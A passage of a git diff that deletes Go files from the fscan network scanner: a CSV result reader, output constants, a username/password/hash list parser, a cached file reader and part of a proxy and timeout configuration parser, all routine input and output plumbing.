- continue
- }
- if len(row) < CSVMinColumns {
- continue // 数据不完整
- }
-
- result, err := r.parseCSVRow(row)
- if err != nil {
- continue // 跳过解析失败的行
- }
-
- // 应用过滤器
- if filter != nil && !r.matchFilter(result, filter) {
- continue
- }
-
- results = append(results, result)
-
- // 应用限制
- if filter != nil && filter.Limit > 0 && len(results) >= filter.Limit {
- break
- }
- }
-
- return results, nil
-}
-
-// parseCSVRow 解析CSV行
-func (r *CSVReader) parseCSVRow(row []string) (*ScanResult, error) {
- // 解析时间
- t, err := parseTime(row[CSVTimeColumnIndex])
- if err != nil {
- return nil, err
- }
-
- // 解析Details
- var details map[string]interface{}
- if err := json.Unmarshal([]byte(row[CSVDetailsColumnIndex]), &details); err != nil {
- details = make(map[string]interface{})
- }
-
- return &ScanResult{
- Time: t,
- Type: ResultType(row[CSVTypeColumnIndex]),
- Target: row[CSVTargetColumnIndex],
- Status: row[CSVStatusColumnIndex],
- Details: details,
- }, nil
-}
-
-// matchFilter 检查结果是否匹配过滤器
-func (r *CSVReader) matchFilter(result *ScanResult, filter *ResultFilter) bool {
- // 检查类型过滤
- if len(filter.Types) > 0 {
- found := false
- for _, t := range filter.Types {
- if result.Type == t {
- found = true
- break
- }
- }
- if !found {
- return false
- }
- }
-
- // 检查目标过滤
- if len(filter.Targets) > 0 {
- found := false
- for _, target := range filter.Targets {
- if strings.Contains(result.Target, target) {
- found = true
- break
- }
- }
- if !found {
- return false
- }
- }
-
- // 检查时间范围过滤
- if filter.TimeRange != nil {
- if result.Time.Before(filter.TimeRange.Start) || result.Time.After(filter.TimeRange.End) {
- return false
- }
- }
-
- return true
-}
-
-// Close 关闭读取器
-func (r *CSVReader) Close() error {
- return nil // CSV读取器无需特殊关闭操作
-}
-
-// parseTime 解析时间字符串
-func parseTime(timeStr string) (time.Time, error) {
- // 尝试多种时间格式
- formats := GetSupportedTimeFormats()
-
- for _, format := range formats {
- if t, err := time.Parse(format, timeStr); err == nil {
- return t, nil
- }
- }
-
- return time.Time{}, fmt.Errorf(i18n.GetText("output_parse_time_failed"), timeStr)
-}
\ No newline at end of file
diff --git a/Common/output/constants.go b/Common/output/constants.go
deleted file mode 100644
index 5dcdd8a..0000000
--- a/Common/output/constants.go
+++ /dev/null
@@ -1,129 +0,0 @@
-package output
-
-import (
- "os"
- "time"
-)
-
-/*
-constants.go - 输出系统常量定义
-
-统一管理common/output包中的所有常量,便于查看和编辑。
-*/
-
-// =============================================================================
-// 输出格式常量 (从Types.go迁移)
-// =============================================================================
-
-// OutputFormat 输出格式类型
-type OutputFormat string
-
-const (
- FormatTXT OutputFormat = "txt" // 文本格式
- FormatJSON OutputFormat = "json" // JSON格式
- FormatCSV OutputFormat = "csv" // CSV格式
-)
-
-// =============================================================================
-// 结果类型常量 (从Types.go迁移)
-// =============================================================================
-
-// ResultType 定义结果类型
-type ResultType string
-
-const (
- TypeHost ResultType = "HOST" // 主机存活
- TypePort ResultType = "PORT" // 端口开放
- TypeService ResultType = "SERVICE" // 服务识别
- TypeVuln ResultType = "VULN" // 漏洞发现
-)
-
-// =============================================================================
-// 默认配置常量
-// =============================================================================
-
-const (
- // 默认缓冲区配置
- DefaultBufferSize = 100 // 默认缓冲区大小
- DefaultEnableBuffer = true // 默认启用缓冲
- DefaultAutoFlush = true // 默认启用自动刷新
- DefaultFlushInterval = 5 * time.Second // 默认刷新间隔
-
- // 文件权限常量
- DefaultFilePermissions = 0644 // 默认文件权限
- DefaultDirPermissions = 0755 // 默认目录权限
-
- // 文件操作标志
- DefaultFileFlags = os.O_CREATE | os.O_WRONLY | os.O_APPEND // 默认文件打开标志
-)
-
-// =============================================================================
-// CSV格式常量 (从Writers.go迁移)
-// =============================================================================
-
-var (
- // CSV头部字段
- CSVHeaders = []string{"Time", "Type", "Target", "Status", "Details"}
-)
-
-// =============================================================================
-// 时间格式常量 (从Writers.go迁移)
-// =============================================================================
-
-const (
- // 时间格式
- DefaultTimeFormat = "2006-01-02 15:04:05" // 默认时间格式
- ISO8601TimeFormat = "2006-01-02T15:04:05Z07:00" // ISO8601时间格式
- ISO8601MilliFormat = "2006-01-02T15:04:05.000Z07:00" // ISO8601毫秒格式
-)
-
-// GetSupportedTimeFormats 获取支持的时间格式列表
-func GetSupportedTimeFormats() []string {
- return []string{
- DefaultTimeFormat,
- ISO8601TimeFormat,
- ISO8601MilliFormat,
- }
-}
-
-// =============================================================================
-// JSON常量
-// =============================================================================
-
-const (
- // JSON格式化
- JSONIndentPrefix = "" // JSON缩进前缀
- JSONIndentString = " " // JSON缩进字符串
-
- // 空JSON对象
- EmptyJSONObject = "{}"
-)
-
-// =============================================================================
-// 文本格式常量 (从Writers.go迁移)
-// =============================================================================
-
-const (
- // 文本输出格式
- TxtTimeFormat = "2006-01-02 15:04:05" // 文本时间格式
- TxtOutputTemplate = "[%s] [%s] %s - %s" // 文本输出模板
- TxtDetailsFormat = " (%s)" // 详细信息格式
- TxtNewline = "\n" // 换行符
- TxtDetailsSeparator = ", " // 详细信息分隔符
- TxtKeyValueFormat = "%s=%v" // 键值对格式
-)
-
-
-// =============================================================================
-// CSV相关常量
-// =============================================================================
-
-const (
- CSVMinColumns = 5 // CSV最小列数
- CSVHeaderRowIndex = 0 // CSV头部行索引
- CSVTimeColumnIndex = 0 // 时间列索引
- CSVTypeColumnIndex = 1 // 类型列索引
- CSVTargetColumnIndex = 2 // 目标列索引
- CSVStatusColumnIndex = 3 // 状态列索引
- CSVDetailsColumnIndex = 4 // 详细信息列索引
-)
\ No newline at end of file
diff --git a/Common/parsers/CredentialParser.go b/Common/parsers/CredentialParser.go
deleted file mode 100644
index 134eb3e..0000000
--- a/Common/parsers/CredentialParser.go
+++ /dev/null
@@ -1,365 +0,0 @@
-package parsers
-
-import (
- "encoding/hex"
- "fmt"
- "regexp"
- "strings"
- "sync"
- "time"
-
- "github.com/shadow1ng/fscan/common/i18n"
-)
-
-// CredentialParser 凭据解析器
-type CredentialParser struct {
- fileReader *FileReader
- mu sync.RWMutex //nolint:unused // reserved for future thread safety
- hashRegex *regexp.Regexp
- options *CredentialParserOptions
-}
-
-// CredentialParserOptions 凭据解析器选项
-type CredentialParserOptions struct {
- MaxUsernameLength int `json:"max_username_length"`
- MaxPasswordLength int `json:"max_password_length"`
- AllowEmptyPasswords bool `json:"allow_empty_passwords"`
- ValidateHashes bool `json:"validate_hashes"`
- DeduplicateUsers bool `json:"deduplicate_users"`
- DeduplicatePasswords bool `json:"deduplicate_passwords"`
- EnableStatistics bool `json:"enable_statistics"`
-}
-
-// DefaultCredentialParserOptions 默认凭据解析器选项
-func DefaultCredentialParserOptions() *CredentialParserOptions {
- return &CredentialParserOptions{
- MaxUsernameLength: DefaultMaxUsernameLength,
- MaxPasswordLength: DefaultMaxPasswordLength,
- AllowEmptyPasswords: DefaultAllowEmptyPasswords,
- ValidateHashes: DefaultValidateHashes,
- DeduplicateUsers: DefaultDeduplicateUsers,
- DeduplicatePasswords: DefaultDeduplicatePasswords,
- EnableStatistics: DefaultCredentialsEnableStatistics,
- }
-}
-
-// NewCredentialParser 创建凭据解析器
-func NewCredentialParser(fileReader *FileReader, options *CredentialParserOptions) *CredentialParser {
- if options == nil {
- options = DefaultCredentialParserOptions()
- }
-
- // 编译哈希验证正则表达式 (MD5: 32位十六进制)
- hashRegex := CompiledHashRegex
-
- return &CredentialParser{
- fileReader: fileReader,
- hashRegex: hashRegex,
- options: options,
- }
-}
-
-// CredentialInput 凭据输入参数
-type CredentialInput struct {
- // 直接输入
- Username string `json:"username"`
- Password string `json:"password"`
- AddUsers string `json:"add_users"`
- AddPasswords string `json:"add_passwords"`
- HashValue string `json:"hash_value"`
- SshKeyPath string `json:"ssh_key_path"`
- Domain string `json:"domain"`
-
- // 文件输入
- UsersFile string `json:"users_file"`
- PasswordsFile string `json:"passwords_file"`
- HashFile string `json:"hash_file"`
-}
-
-// Parse 解析凭据配置
-func (cp *CredentialParser) Parse(input *CredentialInput, options *ParserOptions) (*ParseResult, error) {
- if input == nil {
- return nil, NewParseError(ErrorTypeInputError, "凭据输入为空", "", 0, ErrEmptyInput)
- }
-
- startTime := time.Now()
- result := &ParseResult{
- Config: &ParsedConfig{
- Credentials: &CredentialConfig{
- SshKeyPath: input.SshKeyPath,
- Domain: input.Domain,
- },
- },
- Success: true,
- }
-
- var errors []error
- var warnings []string
-
- // 解析用户名
- usernames, userErrors, userWarnings := cp.parseUsernames(input)
- errors = append(errors, userErrors...)
- warnings = append(warnings, userWarnings...)
-
- // 解析密码
- passwords, passErrors, passWarnings := cp.parsePasswords(input)
- errors = append(errors, passErrors...)
- warnings = append(warnings, passWarnings...)
-
- // 解析哈希值
- hashValues, hashBytes, hashErrors, hashWarnings := cp.parseHashes(input)
- errors = append(errors, hashErrors...)
- warnings = append(warnings, hashWarnings...)
-
- // 更新配置
- result.Config.Credentials.Usernames = usernames
- result.Config.Credentials.Passwords = passwords
- result.Config.Credentials.HashValues = hashValues
- result.Config.Credentials.HashBytes = hashBytes
-
- // 生成统计信息
- if cp.options.EnableStatistics {
- result.Config.Credentials.Statistics = cp.generateStatistics(usernames, passwords, hashValues, hashBytes)
- }
-
- // 设置结果状态
- result.Errors = errors
- result.Warnings = warnings
- result.ParseTime = time.Since(startTime)
- result.Success = len(errors) == 0
-
- return result, nil
-}
-
-// parseUsernames 解析用户名
-func (cp *CredentialParser) parseUsernames(input *CredentialInput) ([]string, []error, []string) {
- var usernames []string
- var errors []error
- var warnings []string
-
- // 解析命令行用户名
- if input.Username != "" {
- users := strings.Split(input.Username, ",")
- for _, user := range users {
- if processedUser, valid, err := cp.validateUsername(strings.TrimSpace(user)); valid {
- usernames = append(usernames, processedUser)
- } else if err != nil {
- errors = append(errors, NewParseError(ErrorTypeUsernameError, err.Error(), "command line", 0, err))
- }
- }
- }
-
- // 从文件读取用户名
- if input.UsersFile != "" {
- fileResult, err := cp.fileReader.ReadFile(input.UsersFile)
- if err != nil {
- errors = append(errors, NewParseError(ErrorTypeFileError, "读取用户名文件失败", input.UsersFile, 0, err))
- } else {
- for i, line := range fileResult.Lines {
- if processedUser, valid, err := cp.validateUsername(line); valid {
- usernames = append(usernames, processedUser)
- } else if err != nil {
- warnings = append(warnings, fmt.Sprintf("用户名文件第%d行无效: %s", i+1, err.Error()))
- }
- }
- }
- }
-
- // 处理额外用户名
- if input.AddUsers != "" {
- extraUsers := strings.Split(input.AddUsers, ",")
- for _, user := range extraUsers {
- if processedUser, valid, err := cp.validateUsername(strings.TrimSpace(user)); valid {
- usernames = append(usernames, processedUser)
- } else if err != nil {
- warnings = append(warnings, fmt.Sprintf("额外用户名无效: %s", err.Error()))
- }
- }
- }
-
- // 去重
- if cp.options.DeduplicateUsers {
- usernames = cp.removeDuplicateStrings(usernames)
- }
-
- return usernames, errors, warnings
-}
-
-// parsePasswords 解析密码
-func (cp *CredentialParser) parsePasswords(input *CredentialInput) ([]string, []error, []string) {
- var passwords []string
- var errors []error
- var warnings []string
-
- // 解析命令行密码
- if input.Password != "" {
- passes := strings.Split(input.Password, ",")
- for _, pass := range passes {
- if processedPass, valid, err := cp.validatePassword(pass); valid {
- passwords = append(passwords, processedPass)
- } else if err != nil {
- errors = append(errors, NewParseError(ErrorTypePasswordError, err.Error(), "command line", 0, err))
- }
- }
- }
-
- // 从文件读取密码
- if input.PasswordsFile != "" {
- fileResult, err := cp.fileReader.ReadFile(input.PasswordsFile)
- if err != nil {
- errors = append(errors, NewParseError(ErrorTypeFileError, "读取密码文件失败", input.PasswordsFile, 0, err))
- } else {
- for i, line := range fileResult.Lines {
- if processedPass, valid, err := cp.validatePassword(line); valid {
- passwords = append(passwords, processedPass)
- } else if err != nil {
- warnings = append(warnings, fmt.Sprintf("密码文件第%d行无效: %s", i+1, err.Error()))
- }
- }
- }
- }
-
- // 处理额外密码
- if input.AddPasswords != "" {
- extraPasses := strings.Split(input.AddPasswords, ",")
- for _, pass := range extraPasses {
- if processedPass, valid, err := cp.validatePassword(pass); valid {
- passwords = append(passwords, processedPass)
- } else if err != nil {
- warnings = append(warnings, fmt.Sprintf("额外密码无效: %s", err.Error()))
- }
- }
- }
-
- // 去重
- if cp.options.DeduplicatePasswords {
- passwords = cp.removeDuplicateStrings(passwords)
- }
-
- return passwords, errors, warnings
-}
-
-// parseHashes 解析哈希值
-func (cp *CredentialParser) parseHashes(input *CredentialInput) ([]string, [][]byte, []error, []string) {
- var hashValues []string
- var hashBytes [][]byte
- var errors []error
- var warnings []string
-
- // 解析单个哈希值
- if input.HashValue != "" {
- if valid, err := cp.validateHash(input.HashValue); valid {
- hashValues = append(hashValues, input.HashValue)
- } else {
- errors = append(errors, NewParseError(ErrorTypeHashError, err.Error(), "command line", 0, err))
- }
- }
-
- // 从文件读取哈希值
- if input.HashFile != "" {
- fileResult, err := cp.fileReader.ReadFile(input.HashFile)
- if err != nil {
- errors = append(errors, NewParseError(ErrorTypeFileError, "读取哈希文件失败", input.HashFile, 0, err))
- } else {
- for i, line := range fileResult.Lines {
- if valid, err := cp.validateHash(line); valid {
- hashValues = append(hashValues, line)
- } else {
- warnings = append(warnings, fmt.Sprintf("哈希文件第%d行无效: %s", i+1, err.Error()))
- }
- }
- }
- }
-
- // 转换哈希值为字节数组
- for _, hash := range hashValues {
- if hashByte, err := hex.DecodeString(hash); err == nil {
- hashBytes = append(hashBytes, hashByte)
- } else {
- warnings = append(warnings, fmt.Sprintf("哈希值解码失败: %s", hash))
- }
- }
-
- return hashValues, hashBytes, errors, warnings
-}
-
-// validateUsername 验证用户名
-func (cp *CredentialParser) validateUsername(username string) (string, bool, error) {
- if len(username) == 0 {
- return "", false, nil // 允许空用户名,但不添加到列表
- }
-
- if len(username) > cp.options.MaxUsernameLength {
- return "", false, fmt.Errorf(i18n.GetText("parser_username_too_long"), len(username), cp.options.MaxUsernameLength)
- }
-
- // 检查特殊字符
- if strings.ContainsAny(username, InvalidUsernameChars) {
- return "", false, fmt.Errorf("%s", i18n.GetText("parser_username_invalid_chars"))
- }
-
- return username, true, nil
-}
-
-// validatePassword 验证密码
-func (cp *CredentialParser) validatePassword(password string) (string, bool, error) {
- if len(password) == 0 && !cp.options.AllowEmptyPasswords {
- return "", false, fmt.Errorf("%s", i18n.GetText("parser_password_empty"))
- }
-
- if len(password) > cp.options.MaxPasswordLength {
- return "", false, fmt.Errorf(i18n.GetText("parser_password_too_long"), len(password), cp.options.MaxPasswordLength)
- }
-
- return password, true, nil
-}
-
-// validateHash 验证哈希值
-func (cp *CredentialParser) validateHash(hash string) (bool, error) {
- if !cp.options.ValidateHashes {
- return true, nil
- }
-
- hash = strings.TrimSpace(hash)
- if len(hash) == 0 {
- return false, fmt.Errorf("%s", i18n.GetText("parser_hash_empty"))
- }
-
- if !cp.hashRegex.MatchString(hash) {
- return false, fmt.Errorf("%s", i18n.GetText("parser_hash_invalid_format"))
- }
-
- return true, nil
-}
-
-// removeDuplicateStrings 去重字符串切片
-func (cp *CredentialParser) removeDuplicateStrings(slice []string) []string {
- seen := make(map[string]struct{})
- var result []string
-
- for _, item := range slice {
- if _, exists := seen[item]; !exists {
- seen[item] = struct{}{}
- result = append(result, item)
- }
- }
-
- return result
-}
-
-// generateStatistics 生成统计信息
-func (cp *CredentialParser) generateStatistics(usernames, passwords, hashValues []string, hashBytes [][]byte) *CredentialStats {
- return &CredentialStats{
- TotalUsernames: len(usernames),
- TotalPasswords: len(passwords),
- TotalHashes: len(hashValues),
- UniqueUsernames: len(cp.removeDuplicateStrings(usernames)),
- UniquePasswords: len(cp.removeDuplicateStrings(passwords)),
- ValidHashes: len(hashBytes),
- InvalidHashes: len(hashValues) - len(hashBytes),
- }
-}
-
-// =============================================================================================
-// 已删除的死代码(未使用):Validate 和 GetStatistics 方法
-// =============================================================================================
\ No newline at end of file
diff --git a/Common/parsers/FileReader.go b/Common/parsers/FileReader.go
deleted file mode 100644
index cfdf25c..0000000
--- a/Common/parsers/FileReader.go
+++ /dev/null
@@ -1,293 +0,0 @@
-package parsers
-
-import (
- "bufio"
- "context"
- "fmt"
- "os"
- "strings"
- "sync"
- "time"
-
- "github.com/shadow1ng/fscan/common/i18n"
-)
-
-// FileReader 高性能文件读取器
-type FileReader struct {
- mu sync.RWMutex
- cache map[string]*FileResult // 文件缓存
- maxCacheSize int // 最大缓存大小
- enableCache bool // 是否启用缓存
- maxFileSize int64 // 最大文件大小
- timeout time.Duration // 读取超时
- enableValidation bool // 是否启用内容验证
-}
-
-// FileResult 文件读取结果
-type FileResult struct {
- Lines []string `json:"lines"`
- Source *FileSource `json:"source"`
- ReadTime time.Duration `json:"read_time"`
- ValidLines int `json:"valid_lines"`
- Errors []error `json:"errors,omitempty"`
- Cached bool `json:"cached"`
-}
-
-// NewFileReader 创建文件读取器
-func NewFileReader(options *FileReaderOptions) *FileReader {
- if options == nil {
- options = DefaultFileReaderOptions()
- }
-
- return &FileReader{
- cache: make(map[string]*FileResult),
- maxCacheSize: options.MaxCacheSize,
- enableCache: options.EnableCache,
- maxFileSize: options.MaxFileSize,
- timeout: options.Timeout,
- enableValidation: options.EnableValidation,
- }
-}
-
-// FileReaderOptions 文件读取器选项
-type FileReaderOptions struct {
- MaxCacheSize int // 最大缓存文件数
- EnableCache bool // 启用文件缓存
- MaxFileSize int64 // 最大文件大小(字节)
- Timeout time.Duration // 读取超时
- EnableValidation bool // 启用内容验证
- TrimSpace bool // 自动清理空白字符
- SkipEmpty bool // 跳过空行
- SkipComments bool // 跳过注释行(#开头)
-}
-
-// DefaultFileReaderOptions 默认文件读取器选项
-func DefaultFileReaderOptions() *FileReaderOptions {
- return &FileReaderOptions{
- MaxCacheSize: DefaultMaxCacheSize,
- EnableCache: DefaultEnableCache,
- MaxFileSize: DefaultFileReaderMaxFileSize,
- Timeout: DefaultFileReaderTimeout,
- EnableValidation: DefaultFileReaderEnableValidation,
- TrimSpace: DefaultTrimSpace,
- SkipEmpty: DefaultSkipEmpty,
- SkipComments: DefaultSkipComments,
- }
-}
-
-// ReadFile 读取文件内容
-func (fr *FileReader) ReadFile(filename string, options ...*FileReaderOptions) (*FileResult, error) {
- if filename == "" {
- return nil, NewParseError("FILE_ERROR", "文件名为空", filename, 0, ErrEmptyInput)
- }
-
- // 检查缓存
- if fr.enableCache {
- if result := fr.getFromCache(filename); result != nil {
- result.Cached = true
- return result, nil
- }
- }
-
- // 合并选项
- opts := fr.mergeOptions(options...)
-
- // 创建带超时的上下文
- ctx, cancel := context.WithTimeout(context.Background(), fr.timeout)
- defer cancel()
-
- // 异步读取文件
- resultChan := make(chan *FileResult, 1)
- errorChan := make(chan error, 1)
-
- go func() {
- result, err := fr.readFileSync(filename, opts)
- if err != nil {
- errorChan <- err
- } else {
- resultChan <- result
- }
- }()
-
- // 等待结果或超时
- select {
- case result := <-resultChan:
- // 添加到缓存
- if fr.enableCache {
- fr.addToCache(filename, result)
- }
- return result, nil
- case err := <-errorChan:
- return nil, err
- case <-ctx.Done():
- return nil, NewParseError(ErrorTypeTimeout, "文件读取超时", filename, 0, ctx.Err())
- }
-}
-
-// =============================================================================================
-// 已删除的死代码(未使用):ReadFiles 并发读取多个文件的方法
-// =============================================================================================
-
-// readFileSync 同步读取文件
-func (fr *FileReader) readFileSync(filename string, options *FileReaderOptions) (*FileResult, error) {
- startTime := time.Now()
-
- // 检查文件
- fileInfo, err := os.Stat(filename)
- if err != nil {
- return nil, NewParseError("FILE_ERROR", "文件不存在或无法访问", filename, 0, err)
- }
-
- // 检查文件大小
- if fileInfo.Size() > fr.maxFileSize {
- return nil, NewParseError("FILE_ERROR",
- fmt.Sprintf("文件过大: %d bytes, 最大限制: %d bytes", fileInfo.Size(), fr.maxFileSize),
- filename, 0, nil)
- }
-
- // 打开文件
- file, err := os.Open(filename)
- if err != nil {
- return nil, NewParseError("FILE_ERROR", "无法打开文件", filename, 0, err)
- }
- defer file.Close()
-
- // 创建结果
- result := &FileResult{
- Lines: make([]string, 0),
- Source: &FileSource{
- Path: filename,
- Size: fileInfo.Size(),
- ModTime: fileInfo.ModTime(),
- },
- }
-
- // 读取文件内容
- scanner := bufio.NewScanner(file)
- scanner.Split(bufio.ScanLines)
-
- lineNum := 0
- validLines := 0
-
- for scanner.Scan() {
- lineNum++
- line := scanner.Text()
-
- // 处理行内容
- if processedLine, valid := fr.processLine(line, options); valid {
- result.Lines = append(result.Lines, processedLine)
- validLines++
- }
- }
-
- // 检查扫描错误
- if err := scanner.Err(); err != nil {
- return nil, NewParseError(ErrorTypeReadError, i18n.GetText("parser_file_scan_failed"), filename, lineNum, err)
- }
-
- // 更新统计信息
- result.Source.LineCount = lineNum
- result.Source.ValidLines = validLines
- result.ValidLines = validLines
- result.ReadTime = time.Since(startTime)
-
- return result, nil
-}
-
-// processLine 处理单行内容
-func (fr *FileReader) processLine(line string, options *FileReaderOptions) (string, bool) {
- // 清理空白字符
- if options.TrimSpace {
- line = strings.TrimSpace(line)
- }
-
- // 跳过空行
- if options.SkipEmpty && line == "" {
- return "", false
- }
-
- // 跳过注释行
- if options.SkipComments && strings.HasPrefix(line, CommentPrefix) {
- return "", false
- }
-
- // 内容验证
- if options.EnableValidation && fr.enableValidation {
- if !fr.validateLine(line) {
- return "", false
- }
- }
-
- return line, true
-}
-
-// validateLine 验证行内容
-func (fr *FileReader) validateLine(line string) bool {
- // 基本验证:检查是否包含特殊字符或过长
- if len(line) > MaxLineLength { // 单行最大字符数
- return false
- }
-
- // 检查是否包含控制字符
- for _, r := range line {
- if r < MaxValidRune && r != TabRune && r != NewlineRune && r != CarriageReturnRune { // 排除tab、换行、回车
- return false
- }
- }
-
- return true
-}
-
-// mergeOptions 合并选项
-func (fr *FileReader) mergeOptions(options ...*FileReaderOptions) *FileReaderOptions {
- opts := DefaultFileReaderOptions()
- if len(options) > 0 && options[0] != nil {
- opts = options[0]
- }
- return opts
-}
-
-// getFromCache 从缓存获取结果
-func (fr *FileReader) getFromCache(filename string) *FileResult {
- fr.mu.RLock()
- defer fr.mu.RUnlock()
-
- if result, exists := fr.cache[filename]; exists {
- // 检查文件是否有更新
- if fileInfo, err := os.Stat(filename); err == nil {
- if fileInfo.ModTime().After(result.Source.ModTime) {
- // 文件已更新,从缓存中移除
- delete(fr.cache, filename)
- return nil
- }
- }
- return result
- }
- return nil
-}
-
-// addToCache 添加到缓存
-func (fr *FileReader) addToCache(filename string, result *FileResult) {
- fr.mu.Lock()
- defer fr.mu.Unlock()
-
- // 检查缓存大小
- if len(fr.cache) >= fr.maxCacheSize {
- // 移除最旧的条目(简单的LRU策略)
- var oldestFile string
- var oldestTime time.Time
- for file, res := range fr.cache {
- if oldestFile == "" || res.Source.ModTime.Before(oldestTime) {
- oldestFile = file
- oldestTime = res.Source.ModTime
- }
- }
- delete(fr.cache, oldestFile)
- }
-
- fr.cache[filename] = result
-}
-
-// =============================================================================================
-// 已删除的死代码(未使用):ClearCache 和 GetCacheStats 方法
-// =============================================================================================
\ No newline at end of file
diff --git a/Common/parsers/NetworkParser.go b/Common/parsers/NetworkParser.go
deleted file mode 100644
index a630244..0000000
--- a/Common/parsers/NetworkParser.go
+++ /dev/null
@@ -1,369 +0,0 @@
-package parsers
-
-import (
- "fmt"
- "net/url"
- "strconv"
- "strings"
- "sync"
- "time"
-
- "github.com/shadow1ng/fscan/common/i18n"
-)
-
-// NetworkParser 网络配置解析器
-type NetworkParser struct {
- mu sync.RWMutex //nolint:unused // reserved for future thread safety
- options *NetworkParserOptions
-}
-
-// NetworkParserOptions 网络解析器选项
-type NetworkParserOptions struct {
- ValidateProxies bool `json:"validate_proxies"`
- AllowInsecure bool `json:"allow_insecure"`
- DefaultTimeout time.Duration `json:"default_timeout"`
- DefaultWebTimeout time.Duration `json:"default_web_timeout"`
- DefaultUserAgent string `json:"default_user_agent"`
-}
-
-// DefaultNetworkParserOptions 默认网络解析器选项
-func DefaultNetworkParserOptions() *NetworkParserOptions {
- return &NetworkParserOptions{
- ValidateProxies: DefaultValidateProxies,
- AllowInsecure: DefaultAllowInsecure,
- DefaultTimeout: DefaultNetworkTimeout,
- DefaultWebTimeout: DefaultWebTimeout,
- DefaultUserAgent: DefaultUserAgent,
- }
-}
-
-// NewNetworkParser 创建网络配置解析器
-func NewNetworkParser(options *NetworkParserOptions) *NetworkParser {
- if options == nil {
- options = DefaultNetworkParserOptions()
- }
-
- return &NetworkParser{
- options: options,
- }
-}
-
-// NetworkInput 网络配置输入参数
-type NetworkInput struct {
- // 代理配置
- HttpProxy string `json:"http_proxy"`
- Socks5Proxy string `json:"socks5_proxy"`
-
- // 超时配置
- Timeout int64 `json:"timeout"`
- WebTimeout int64 `json:"web_timeout"`
-
- // 网络选项
- DisablePing bool `json:"disable_ping"`
- DnsLog bool `json:"dns_log"`
- UserAgent string `json:"user_agent"`
- Cookie string `json:"cookie"`
-}
-
-// Parse 解析网络配置
-func (np *NetworkParser) Parse(input *NetworkInput, options *ParserOptions) (*ParseResult, error) {
- if input == nil {
- return nil, NewParseError("INPUT_ERROR", "网络配置输入为空", "", 0, ErrEmptyInput)
- }
-
- startTime := time.Now()
- result := &ParseResult{
- Config: &ParsedConfig{
- Network: &NetworkConfig{
- EnableDNSLog: input.DnsLog,
- DisablePing: input.DisablePing,
- },
- },
- Success: true,
- }
-
- var errors []error
- var warnings []string
-
- // 解析HTTP代理
- httpProxy, httpErrors, httpWarnings := np.parseHttpProxy(input.HttpProxy)
- errors = append(errors, httpErrors...)
- warnings = append(warnings, httpWarnings...)
-
- // 解析Socks5代理
- socks5Proxy, socks5Errors, socks5Warnings := np.parseSocks5Proxy(input.Socks5Proxy)
- errors = append(errors, socks5Errors...)
- warnings = append(warnings, socks5Warnings...)
-
- // 解析超时配置
- timeout, webTimeout, timeoutErrors, timeoutWarnings := np.parseTimeouts(input.Timeout, input.WebTimeout)
- errors = append(errors, timeoutErrors...)
- warnings = append(warnings, timeoutWarnings...)
-
- // 解析用户代理
- userAgent, uaErrors, uaWarnings := np.parseUserAgent(input.UserAgent)
- errors = append(errors, uaErrors...)
- warnings = append(warnings, uaWarnings...)
-
- // 解析Cookie
- cookie, cookieErrors, cookieWarnings := np.parseCookie(input.Cookie)
- errors = append(errors, cookieErrors...)
- warnings = append(warnings, cookieWarnings...)
-
- // 检查代理冲突
- if httpProxy != "" && socks5Proxy != "" {
- warnings = append(warnings, "同时配置了HTTP代理和Socks5代理,Socks5代理将被优先使用")
- }
-
- // 更新配置
- result.Config.Network.HttpProxy = httpProxy
- result.Config.Network.Socks5Proxy = socks5Proxy
- result.Config.Network.Timeout = timeout
- result.Config.Network.WebTimeout = webTimeout
- result.Config.Network.UserAgent = userAgent
- result.Config.Network.Cookie = cookie
-
- // 设置结果状态
- result.Errors = errors
- result.Warnings = warnings
- result.ParseTime = time.Since(startTime)
- result.Success = len(errors) == 0
-
- return result, nil
-}
-
-// parseHttpProxy 解析HTTP代理配置
-func (np *NetworkParser) parseHttpProxy(proxyStr string) (string, []error, []string) {
- var errors []error
- var warnings []string
-
- if proxyStr == "" {
- return "", nil, nil
- }
-
- // 处理简写形式
- normalizedProxy := np.normalizeHttpProxy(proxyStr)
-
- // 验证代理URL
- if np.options.ValidateProxies {
- if err := np.validateProxyURL(normalizedProxy); err != nil {
- errors = append(errors, NewParseError(ErrorTypeProxyError, err.Error(), "http_proxy", 0, err))
- return "", errors, warnings
- }
- }
-
- return normalizedProxy, errors, warnings
-}
-
-// parseSocks5Proxy 解析Socks5代理配置
-func (np *NetworkParser) parseSocks5Proxy(proxyStr string) (string, []error, []string) {
- var errors []error
- var warnings []string
-
- if proxyStr == "" {
- return "", nil, nil
- }
-
- // 处理简写形式
- normalizedProxy := np.normalizeSocks5Proxy(proxyStr)
-
- // 验证代理URL
- if np.options.ValidateProxies {
- if err := np.validateProxyURL(normalizedProxy); err != nil {
- errors = append(errors, NewParseError(ErrorTypeProxyError, err.Error(), "socks5_proxy", 0, err))
- return "", errors, warnings
- }
- }
-
- // 使用Socks5代理时建议禁用Ping
- if normalizedProxy != "" {
- warnings = append(warnings, "使用Socks5代理时建议禁用Ping检测")
- }
-
- return normalizedProxy, errors, warnings
-}
-
-// parseTimeouts 解析超时配置
-func (np *NetworkParser) parseTimeouts(timeout, webTimeout int64) (time.Duration, time.Duration, []error, []string) {
- var errors []error
- var warnings []string
-
- // 处理普通超时
- finalTimeout := np.options.DefaultTimeout
- if timeout > 0 {
- if timeout > MaxTimeoutSeconds {
- warnings = append(warnings, "超时时间过长,建议不超过300秒")
- }
- finalTimeout = time.Duration(timeout) * time.Second
- }
-
- // 处理Web超时
- finalWebTimeout := np.options.DefaultWebTimeout
- if webTimeout > 0 {
- if webTimeout > MaxWebTimeoutSeconds {
- warnings = append(warnings, "Web超时时间过长,建议不超过120秒")
- }
- finalWebTimeout = time.Duration(webTimeout) * time.Second
- }
-
- // 验证超时配置合理性
- if finalWebTimeout > finalTimeout {
- warnings = append(warnings, i18n.GetText("config_web_timeout_warning"))
- }
-
- return finalTimeout, finalWebTimeout, errors, warnings
-}
-
-// parseUserAgent 解析用户代理
-func (np *NetworkParser) parseUserAgent(userAgent string) (string, []error, []string) {
- var errors []error
- var warnings []string
-
- if userAgent == "" {
- return np.options.DefaultUserAgent, errors, warnings
- }
-
- // 基本格式验证
- if len(userAgent) > MaxUserAgentLength {
- errors = append(errors, NewParseError(ErrorTypeUserAgentError, "用户代理字符串过长", "user_agent", 0, nil))
- return "", errors, warnings
- }
-
- // 检查是否包含特殊字符
- if strings.ContainsAny(userAgent, InvalidUserAgentChars) {
- errors = append(errors, NewParseError(ErrorTypeUserAgentError, "用户代理包含非法字符", "user_agent", 0, nil))
- return "", errors, warnings
- }
-
- // 检查是否为常见浏览器用户代理
